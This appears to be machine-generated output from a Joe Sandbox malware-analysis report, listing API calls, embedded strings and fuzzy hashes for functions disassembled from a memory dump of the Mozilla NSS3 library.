PORT_NewArena_Util.NSS3(00000800), ref: 6CB93CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CB93CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CB93CE1

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 9ea648a657cd2cff5146271503f83112f27fdf19b57eb2ae9b7eda01cbf86fd6
Instruction ID: 003ea1d852e55dc0a154bd7abf87204dfe957a032c606da04904f1742422af2a
Opcode Fuzzy Hash: 9ea648a657cd2cff5146271503f83112f27fdf19b57eb2ae9b7eda01cbf86fd6
Instruction Fuzzy Hash: 1061C875A00640ABEF115F65DC41FAB76B9EF05748F084038FD4AAAA62F731D914C7B2

Function 6CBD3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD3440: PK11_GetAllTokens.NSS3 ref: 6CBD3481
Part of subcall function 6CBD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBD34A3
Part of subcall function 6CBD3440: TlsGetValue.KERNEL32 ref: 6CBD352E
Part of subcall function 6CBD3440: EnterCriticalSection.KERNEL32(?), ref: 6CBD3542
Part of subcall function 6CBD3440: PR_Unlock.NSS3(?), ref: 6CBD355B

TlsGetValue.KERNEL32 ref: 6CBD3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CBD3D9F
PR_Unlock.NSS3(?), ref: 6CBD3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBD3E4F

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

TlsGetValue.KERNEL32 ref: 6CBD3E97
EnterCriticalSection.KERNEL32(?), ref: 6CBD3EAB
PR_Unlock.NSS3(?), ref: 6CBD3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3EEE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 4c21ced314943c22babd06d57da5cbed5930779881bcd665505abc39f5638a2c
Instruction ID: a3872f916a3c2ab34d14db8ef441aa2ac673e0bb964210b72b4c396592fcb9b3
Opcode Fuzzy Hash: 4c21ced314943c22babd06d57da5cbed5930779881bcd665505abc39f5638a2c
Instruction Fuzzy Hash: E05157B1A006429FEB019F29DC44B6A73B4EF49319F060528DE0997A53FB31F844CBE2

Function 6CB82C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(AF18F6A2), ref: 6CB82C5D

Part of subcall function 6CBE0D30: calloc.MOZGLUE ref: 6CBE0D50
Part of subcall function 6CBE0D30: TlsGetValue.KERNEL32 ref: 6CBE0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB82C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB82CE0

Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB82CDA,?,00000000), ref: 6CB82E1E
Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB82E33
Part of subcall function 6CB82E00: TlsGetValue.KERNEL32 ref: 6CB82E4E
Part of subcall function 6CB82E00: EnterCriticalSection.KERNEL32(?), ref: 6CB82E5E
Part of subcall function 6CB82E00: PL_HashTableLookup.NSS3(?), ref: 6CB82E71
Part of subcall function 6CB82E00: PL_HashTableRemove.NSS3(?), ref: 6CB82E84
Part of subcall function 6CB82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB82E96
Part of subcall function 6CB82E00: PR_Unlock.NSS3 ref: 6CB82EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB82D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB82D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB82D3F
free.MOZGLUE(00000000), ref: 6CB82D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB82DB8
free.MOZGLUE ref: 6CB82DC8

Part of subcall function 6CB83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB83EC2
Part of subcall function 6CB83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB83ED6
Part of subcall function 6CB83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB83EEE
Part of subcall function 6CB83E60: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB83F02
Part of subcall function 6CB83E60: PL_FreeArenaPool.NSS3 ref: 6CB83F14
Part of subcall function 6CB83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB83F27

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: c0349248f2c2f7ad250eff683c6a2e52814300faad4f1dcb641cbd47b071b0c5
Instruction ID: a0fc07fccb74ca313ef62c7853bad7a48313af90bf81c0117229cffc0a7092a7
Opcode Fuzzy Hash: c0349248f2c2f7ad250eff683c6a2e52814300faad4f1dcb641cbd47b071b0c5
Instruction Fuzzy Hash: 2251DE71A063629BEB009E29DC89B6F7BE5EF84348F14042CEC5993750EB31E815CB93

Function 6CBA8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA90EC

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9111

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: fa43e4348ba3efee8d81cba6638ab62e4d288cc9b4a2e208670988bb572d7164
Instruction ID: 2ebe5473e5852a26dd9c549233627bb06a988e3550af739f07dcaa557fa34471
Opcode Fuzzy Hash: fa43e4348ba3efee8d81cba6638ab62e4d288cc9b4a2e208670988bb572d7164
Instruction Fuzzy Hash: D5518E74A086858FDF40EF79C488259BBF4EF4A314F054569DC84DB705EB36E886CB92

Function 6CB87CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB83F7F,?,00000055,?,?,6CB81666,?,?), ref: 6CB840D9
Part of subcall function 6CB840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB81666,?,?), ref: 6CB840FC
Part of subcall function 6CB840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB81666,?,?), ref: 6CB84138

PR_GetCurrentThread.NSS3 ref: 6CB87CFD

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CCA9030), ref: 6CB87D1B

Part of subcall function 6CBDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CB81A3E,00000048,00000054), ref: 6CBDFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CCA9048), ref: 6CB87D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CB87D50
PR_GetCurrentThread.NSS3 ref: 6CB87D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CB87D7D
free.MOZGLUE(?), ref: 6CB87D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CB87DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CB87E19

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 54aa94e4a6d6433668d57b381da658b55df44ba2818ca7f9ec6e7d96c39284ec
Instruction ID: 60689add4a7f860d52b3f1757a520073ebca6b95ccfa10ffa6546af0dedcf30b
Opcode Fuzzy Hash: 54aa94e4a6d6433668d57b381da658b55df44ba2818ca7f9ec6e7d96c39284ec
Instruction Fuzzy Hash: 1A41B3B2A0116A9BDB008E699C41BAF37A8AF5429CF150064FC19A7651E770E915C7E2

Function 6CB97EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F36
free.MOZGLUE(?,?,?,6CB980DD), ref: 6CB97F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F5D
DeleteCriticalSection.KERNEL32(?,6CB980DD), ref: 6CB97F94
free.MOZGLUE(?), ref: 6CB97F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CB980DD), ref: 6CB97FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CB980DD), ref: 6CB97FE6
free.MOZGLUE(?,6CB980DD), ref: 6CB9802D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 32cce30ad6f25a1f3fb6d2151ba2d2e3b1c6732c507d70fc334ce62a8c8ab5ab
Instruction ID: 1f6e39d65f4f8b9dea0435be92ccb1ccdd9949e4afbd4aa19a8a3ab4e86ea1f0
Opcode Fuzzy Hash: 32cce30ad6f25a1f3fb6d2151ba2d2e3b1c6732c507d70fc334ce62a8c8ab5ab
Instruction Fuzzy Hash: 5D412971B012D18BDF409FB98898B4E37B9EB4B358F150239E91AD7B40DB70E905CBA1

Function 6CBDFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBDFF00

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CBDFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBDFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CBDFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBDFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBDFF8C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 96e7da3cfbce28fbd872f60e87cf7f4081ab368dec6cc91e6c81b64924434b79
Instruction ID: e3d5e72922aba6f2b88bec00da1ea10458f1a69badf567fb046fedf204f2b9d2
Opcode Fuzzy Hash: 96e7da3cfbce28fbd872f60e87cf7f4081ab368dec6cc91e6c81b64924434b79
Instruction Fuzzy Hash: B63127B290A3D69BEB108F549C40B5A77A8EF59788F264139ED1897742EB30E904C7D3

Function 6CB1E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CB1E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB1E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB1EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1EB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CB1EDC2
unknown column "%s" in foreign key definition, xrefs: 6CB1ED18
foreign key on %s should reference only one column of table %T, xrefs: 6CB1EE04

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: c0a68e8425e9d4583cbaf68b7ca41c35f3cd5002c9fd038856b5ec7da786ba5d
Instruction ID: 3b74b4f9957fab24454f96a26df6719173a66a00790a2d79aff265eab217ce9d
Opcode Fuzzy Hash: c0a68e8425e9d4583cbaf68b7ca41c35f3cd5002c9fd038856b5ec7da786ba5d
Instruction Fuzzy Hash: 8802AF71E09199CFDB04CF99C484AAEB7F2FF89304F298169D805ABF51D731A941CBA1

Function 6CBE4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CBE536F,00000022,?,?,00000000,?), ref: 6CBE4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CBE4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CBE4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CBE4FAE
free.MOZGLUE(?), ref: 6CBE4FC8

Strings

%s=%s, xrefs: 6CBE4F89
%s=%c%s%c, xrefs: 6CBE4FA9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 558b680ee431a3a84e11ac958c3432441731f389850930bc055af92571005201
Instruction ID: 70bae795ade2fc198bbb7f1f38a2e1ab85ba11f42015d468b40d1eecd83407be
Opcode Fuzzy Hash: 558b680ee431a3a84e11ac958c3432441731f389850930bc055af92571005201
Instruction Fuzzy Hash: A5512731A051C68BEF05CAEAC4907FF7BF5DF4EB88F188165E894A7A40D32598058FD2

Function 6CB27D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB27E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB27E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CB27EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB27F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB27ED8, 6CB27F08, 6CB27F19
%s at line %d of [%.10s], xrefs: 6CB27EE7, 6CB27F28
database corruption, xrefs: 6CB27EE2, 6CB27F23

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 88c57fd02094cf36a0c4e898571899b01917c47bdcc251f9afc8bdd4304f222e
Instruction ID: 407a1815d12d75f6de297cdd5f2a2121442ec2034845f2b519d7badc48bb7b9d
Opcode Fuzzy Hash: 88c57fd02094cf36a0c4e898571899b01917c47bdcc251f9afc8bdd4304f222e
Instruction Fuzzy Hash: B561DF74A042859FCB05DF64C890BAA37B6FF45308F1448A8EC0C6BB51D7B8EC56CBA5

Function 6CB0FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0FE83

Part of subcall function 6CB0FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CB0FEFA
Part of subcall function 6CB0FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CB0FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0FD64, 6CB0FE26
%s at line %d of [%.10s], xrefs: 6CB0FD73, 6CB0FE35
database corruption, xrefs: 6CB0FD6E, 6CB0FE30

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 3c04415a4b0782b488c79134b6c4ef9deb83e0d239afa5df0c2acaa597fe53f6
Instruction ID: 71267d176748f5f58bd3efbcbc16e3fe6b0ce6e38ace3758bc86701160c6c7df
Opcode Fuzzy Hash: 3c04415a4b0782b488c79134b6c4ef9deb83e0d239afa5df0c2acaa597fe53f6
